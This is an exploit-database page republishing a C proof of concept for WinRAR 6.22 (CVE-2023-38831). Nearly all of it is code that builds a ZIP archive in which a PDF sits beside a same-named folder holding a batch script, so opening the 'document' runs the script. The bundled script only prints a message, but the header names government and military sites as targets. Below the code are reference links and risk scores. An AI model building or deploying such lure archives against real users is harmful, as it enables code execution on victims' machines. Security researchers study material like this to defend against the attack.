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WinRAR 6.22 Remote Code Execution

🗓️ 28 Mar 2024 00:00:00Reported by E1.CodersType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 307 Views

WinRAR 6.22 Remote Code Execution CVE-2023-38831, High Risk, Targets Government and Military Website

Related
Code
`################################################################################################  
# Exploit Title : EXPLOIT WinRAR version 6.22 Vulnerability CVE-2023-38831 #  
# #  
# Author : E1.Coders #  
# #  
# Contact : E1.Coders [at] Mail [dot] RU #  
# #  
# Security Risk : High #  
# #  
# Description : All target's GOV & Military websites #  
# #  
################################################################################################  
# #  
# Expl0iTs: #  
  
#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include "zip.h"  
#define PDF_FILE "document.pdf"  
#define FOLDER_NAME "document.pdf\\"  
#define SCRIPT_FILE "script.bat"  
#define ZIP_FILE "exploit.zip"  
  
int main(void) {  
zipFile zf = zipOpen(ZIP_FILE, APPEND_STATUS_CREATE);  
if (zf == NULL) {  
printf("Error opening ZIP file\n");  
return -1;  
}  
zip_fileinfo zfi;  
memset(&zfi, 0, sizeof(zfi));  
if (zipOpenNewFileInZip(zf, PDF_FILE, &zfi, NULL, 0, NULL, 0, NULL, Z_DEFLATED, Z_DEFAULT_COMPRESSION) != ZIP_OK) {  
printf("Error adding PDF file to ZIP file\n");  
zipClose(zf, NULL);  
return -1;  
}  
FILE *fp = fopen(PDF_FILE, "rb");  
if (fp == NULL) {  
printf("Error opening PDF file\n");  
zipCloseFileInZip(zf);  
zipClose(zf, NULL);  
return -1;  
}  
char buffer[1024];  
int bytes_read;  
while ((bytes_read = fread(buffer, 1, sizeof(buffer), fp)) > 0) {  
if (zipWriteInFileInZip(zf, buffer, bytes_read) < 0) {  
printf("Error writing PDF file to ZIP file\n");  
fclose(fp);  
zipCloseFileInZip(zf);  
zipClose(zf, NULL);  
return -1;  
}  
}  
fclose(fp);  
zipCloseFileInZip(zf);  
if (zipOpenNewFileInZip(zf, FOLDER_NAME, &zfi, NULL, 0, NULL, 0, NULL, Z_DEFLATED, Z_DEFAULT_COMPRESSION) != ZIP_OK) {  
printf("Error adding folder to ZIP file\n");  
zipClose(zf, NULL);  
return -1;  
}  
zipCloseFileInZip(zf);  
char script_name[256];  
sprintf(script_name, "%s%s", FOLDER_NAME, SCRIPT_FILE);  
if (zipOpenNewFileInZip(zf, script_name, &zfi, NULL, 0, NULL, 0, NULL, Z_DEFLATED, Z_DEFAULT_COMPRESSION) != ZIP_OK) {  
printf("Error adding script file to ZIP file\n");  
zipClose(zf, NULL);  
return -1;  
}  
char script_content[] = "@echo off\nstart cmd /c \"echo You have been exploited by CVE-2023-38831 && pause\"\n";  
if (zipWriteInFileInZip(zf, script_content, strlen(script_content)) < 0) {  
printf("Error writing script file to ZIP file\n");  
zipCloseFileInZip(zf);  
zipClose(zf, NULL);  
return -1;  
}  
zipCloseFileInZip(zf);  
  
zipClose(zf, NULL);  
  
printf("ZIP file created successfully\n");  
return 0;  
}  
  
https://nvd.nist.gov/vuln/detail/CVE-2023-38831  
https://nvd.nist.gov/vuln/detail/CVE-2023-38831  
https://github.com/HDCE-inc/CVE-2023-38831  
https://www.cvedetails.com/cve/CVE-2023-38831/  
https://www.logpoint.com/en/blog/emerging-threats/cve-2023-38831-winrar-decompression-or-arbitrary-code-execution/  
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Exploit:Win32/CVE-2023-38831  
http://packetstormsecurity.com/files/174573/WinRAR-Remote-Code-Execution.html  
https://blog.google/threat-analysis-group/government-backed-actors-exploiting-winrar-vulnerability/  
https://news.ycombinator.com/item?id=37236100  
https://www.bleepingcomputer.com/news/security/winrar-zero-day-exploited-since-april-to-hack-trading-accounts/  
https://www.group-ib.com/blog/cve-2023-38831-winrar-zero-day/  
https://hdce.medium.com/cve-2023-38831-winrar-zero-day-poses-new-risks-for-traders-684911befad2  
  
  
`

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28 Mar 2024 00:00Current
7.4High risk
Vulners AI Score7.4
CVSS 3.17.8
EPSS0.93878
307